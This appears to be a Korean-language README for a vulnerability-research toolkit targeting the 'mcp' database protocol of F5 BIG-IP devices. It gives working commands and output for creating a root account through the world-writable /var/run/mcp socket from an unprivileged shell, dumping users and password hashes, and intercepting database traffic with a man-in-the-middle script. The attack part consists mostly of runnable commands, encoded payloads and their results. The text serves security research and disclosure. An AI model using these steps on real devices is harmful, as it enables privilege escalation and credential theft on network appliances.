
F5의 `mcp` 프로토콜 구현체로, 취약점 헌팅 중 트래픽을 스니핑하기 위한 MitM 도구를 포함합니다.
아직 완성되거나 준비된 상태는 아니지만, 코드를 커밋해 두고 싶었다.
이 도구는 기본적으로 UNIX 도메인 소켓을 통해 동작하는 F5의 데이터베이스 프로토콜인 "mcp"를 구현한다. 즉, 이러한 도구를 사용하려면 먼저 F5 장치에서 셸을 확보해야 한다. 일반적으로 스크립트의 출력을 socat을 사용하여 /var/run/mcp로 전달한 다음, 응답을 mcp-parser.rb에 입력하면 된다. 자세한 내용은 아래를 참고하라.
스크립트에 대한 간단한 요약:
mcp-getloot.rb - 사용자와 변수를 덤프하는 메시지를 생성한다mcp-privesc.rb - 사용자 계정을 생성하는 메시지를 생성한다mcp-parser.rb - stdin으로 들어오는 mcp 메시지를 파싱한다mcp-mitm.rb - 대상 호스트에서 mcp 메시지를 도청한다 (루트로의 패스워드 없는 ssh 설정 필요)mcp-builder.rb - mcp 메시지 생성을 위한 라이브러리 (직접 사용할 필요는 없다)mcp-generateobjects.rb - mcp-objects.txt를 생성하는 도구 (이것이 필요하지는 않을 것이다)MCP는 F5 BigIP가 사용하는 독점(AFAICT) 데이터베이스다. 0777 권한의 UNIX 도메인 소켓인 /var/run/mcp를 통해 접근한다(즉, 모든 사용자가 접근할 수 있다).
이 프로토콜은 TLV 스타일이며, 엄청나게 많은 타입(41,000개 이상)이 있다. 이들은 모두 mcp-objects.txt에 나열되어 있다.
mcp-parser.rb에서 찾을 수 있는 파서를 구현했으며, mcp-parser-tests.rb에서 다양한 메시지를 찾아볼 수 있다.
또한 mcp-builder.rb라는 빌더도 만들었지만, 사용하기 쉽게 설계된 것은 아니다. 하지만 루트 레벨 사용자 계정을 생성하는 MCP 패킷을 만드는 사전 정의된 함수가 있는데, 꽤 멋지다. mcp-privesc.rb를 사용해 해당 패킷을 생성할 수 있다.
MCP와 직접 통신하려면 일반적으로 socat을 사용한다. mcp-builder.rb의 코드는 패킷을 생성할 수 있지만, 직접 실행하도록 설계된 것은 아니다. 직접 사용하고 싶은 스크립트는 다음과 같다:
mcp-getloot.rb - 사용자 및 구성 설정을 가져오려면mcp-privesc.rb - 새로운 루트 레벨 계정을 추가하려면mcp-parser.rb - 응답을 파싱하려면 (stdin에서)쿼리 스크립트 중 하나를 사용하려면 스크립트를 실행하고 출력을 대상의 UNIX 소켓으로 보낼 방법을 찾아야 한다. 다음은 mcp-privesc.rb의 출력을 gzip + base64로 인코딩하는 예시다:
$ ruby ./mcp-privesc.rb blogtest MyFunPW | gzip | base64 -w0
Attempting to create a crypt-sha512 hash of the password
Writing an `mcp` message to stdout that'll create an account: blogtest / $6$vdznqfyc$q9LEJmhlDZK3HQY0L0WuiKfXaKJtQmOY7lIkMS/IxftTmZs.PdlYXxmxjRQ4f529gl13NsqWlZdd/eksunJT01
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==
그런 다음 이를 대상에서의 ssh 세션에 복사하여 붙여넣을 수 있으며, 거기서 UNIX 소켓으로 전송된다(가능하다는 것을 보여주기 위해 비루트 사용자로 수행하고 있음에 유의하라):
$ whoami
apache
$ echo -ne 'H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==' | base64 -d | gunzip - | socat -t100 - UNIX-CONNECT:/var/run/mcp | gzip | base64 -w0
H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==
bash-4.2$ su blogtest
Password:
[...]
[blogtest@localhost:NO LICENSE:Standalone] config # whoami
root
또한 mcp-parser.rb를 사용하여 받은 응답을 파싱할 수 있다:
$ echo -ne 'H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==' | base64 -d | gunzip - | ruby ./mcp-parser.rb
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = user_authenticated
result_type (tag) = user_authenticated_name
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = create
result_type (tag) = userdb_entry
물론 모든 것을 단일 명령으로 수행할 수도 있다. 다음은 mcp-getloot.rb를 사용하는 방법이다:
$ ruby ./mcp-getloot.rb | ssh [email protected] socat -t100 - UNIX-CONNECT:/var/run/mcp | ruby ./mcp-parser.rb | head -n30
Writing an `mcp` message to stdout that'll query for interesting stuff
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
query_reply (structure [949 bytes]):
userdb_entry (structure [233 bytes]):
userdb_entry_name (string [6 bytes]) = "root"
trunk_virtual_mbr_transaction_id (ulong) = 0x00000001 (1)
userdb_entry_partition_id (string [8 bytes]) = "Common"
fw_analytics_settings_dns_collect_dst_i... (long) = 0xffffffff (4294967295)
userdb_entry_is_system (ulong) = 0x00000001 (1)
userdb_entry_oldpasswd (string [2 bytes]) = ""
userdb_entry_shell (string [11 bytes]) = "/bin/bash"
userdb_entry_gecos (string [6 bytes]) = "root"
userdb_entry_is_crypted (ulong) = 0x00000001 (1)
userdb_entry_passwd (string [100 bytes]) = "$6$UIHYzBX6$UClrSPt1o/G2meP27zBzRJnAjWEIkhNEQzqDYwn5gtnoKqFeGhnJveUUHGavaPU1FO9eif2pnADjDN/5YgMI3/"
userdb_entry_description (string [2 bytes]) = ""
userdb_entry_object_id (ulong) = 0x00002a70 (10864)
userdb_entry (structure [251 bytes]):
userdb_entry_name (string [7 bytes]) = "admin"
[...]
db_variable (structure [224 bytes]):
db_variable_name (string [38 bytes]) = "platform.diskmonitor.freelast.vmdisk"
db_variable_transaction_id (ulong) = 0x0000004b (75)
db_variable_scf_config (string [7 bytes]) = "false"
db_variable_maximum (string [2 bytes]) = ""
db_variable_minimum (string [2 bytes]) = ""
db_variable_data_type (string [9 bytes]) = "integer"
db_variable_sync_type (string [18 bytes]) = "private_internal"
db_variable_default (string [3 bytes]) = "0"
db_variable_value (string [3 bytes]) = "0"
db_variable_display_name (string [38 bytes]) = "Platform.DiskMonitor.FreeLast.vmdisk"
db_variable_object_id (ulong) = 0x0000e705 (59141)
db_variable_enumerated (array [6 bytes]): Array data: 000f00000000
데이터베이스 쿼리를 실시간으로 검사/기록하는 도구인 mcp-mitm.rb도 작성했다. 이것은 익스플로잇이 아니라 루트 로그인이 필요한 분석 도구일 뿐이다. 실제로는 /var/run/mcp를 옮기고 우리가 제어하는 소켓으로 교체한 다음, 이를 통과하는 모든 메시지를 파싱한다.
실행 방법:
ssh root@<target>을 실행할 수 있는지 확인하라 (또는 코드를 편집하여 DO_SETUP을 꺼라)소켓은 부팅 시 생성되므로 잠재적인 "손상"은 거의 재부팅으로 해결되지만, 프로덕션 환경에서는 그렇게 하고 싶지 않을 것이다.
어쨌든 인수 없이 실행하면 사용법이 출력되며, 그런 다음 중요한 IP 주소를 입력하면 된다:
$ ruby ./mcp-mitm.rb
Usage: ruby ./mcp-mitm.rb <your ip> <target ip> [listen port 1] [listen port 2]
[...]
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
Configuration (edit the script to change, this is a PoC!):
Your IP: 10.0.0.179
Target IP: 10.0.0.162
Listening port 1: 1234
Listening port 2: 1235
SSH into the target to set things up: true
(Make sure you can ssh into the host as root with no password)
(Yes yes, I know it's a PoC!)
SSH'ing into the server to set things up
Ready!
잠시 기다리면(또는 서버에서 작업을 수행하면) 세션을 볼 수 있다:
Received session @ #<TCPSocket:0x000000000170d630> <--> #<TCPSocket:0x000000000170d658>
user_authenticated (structure [15 bytes]):
user_authenticated_name (string [7 bytes]) = "admin"
start_transaction (structure [8 bytes]):
start_transaction_load_type (ulong) = 0x00000000 (0)
[...]
Ctrl-c를 누르면 중지되고 소켓이 복구된다:
^CSSH'ing into the server to fix things
Session 1 closed?
Ending thread
Ending thread
Traceback (most recent call last):
3: from ./mcp-mitm.rb:149:in `<main>'
2: from ./mcp-mitm.rb:149:in `loop'
1: from ./mcp-mitm.rb:151:in `block in <main>'
./mcp-mitm.rb:151:in `accept': Interrupt
그게 전부다!